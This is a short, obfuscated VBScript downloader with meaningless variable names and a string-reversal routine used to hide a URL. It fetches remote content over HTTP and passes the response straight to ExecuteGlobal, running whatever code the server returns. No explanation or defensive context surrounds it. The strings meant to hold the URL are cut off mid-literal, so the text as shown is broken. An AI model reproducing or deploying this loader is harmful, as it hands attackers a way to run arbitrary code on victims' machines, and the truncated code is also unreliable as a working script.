Set crystallotomia = CreateObject("MSXML2.ServerXMLHTTP.6.0")
amielia = bastida("
adesol = bastida("f
adesol = ReplaceString(adesol, amielia, "")
crystallotomia.Open "GET", adesol, False
crystallotomia.Send
ExecuteGlobal crystallotomia.ResponseText
Function ReplaceString(melanthesa, cascalho, productibilidade)
Dim asteroide
asteroide = InStr(melanthesa, cascalho)
While asteroide > 0
melanthesa = Left(melanthesa, asteroide - 1) & productibilidade & Mid(melanthesa, asteroide + Len(cascalho))
asteroide = InStr(asteroide + Len(productibilidade), melanthesa, cascalho)
Wend
ReplaceString = melanthesa
End Function
Function bastida(s)
Dim euritmia, uamiri
euritmia = ""
For uamiri = Len(s) To 1 Step -1
euritmia = euritmia & Mid(s, uamiri, 1)
Next
bastida = euritmia
End Function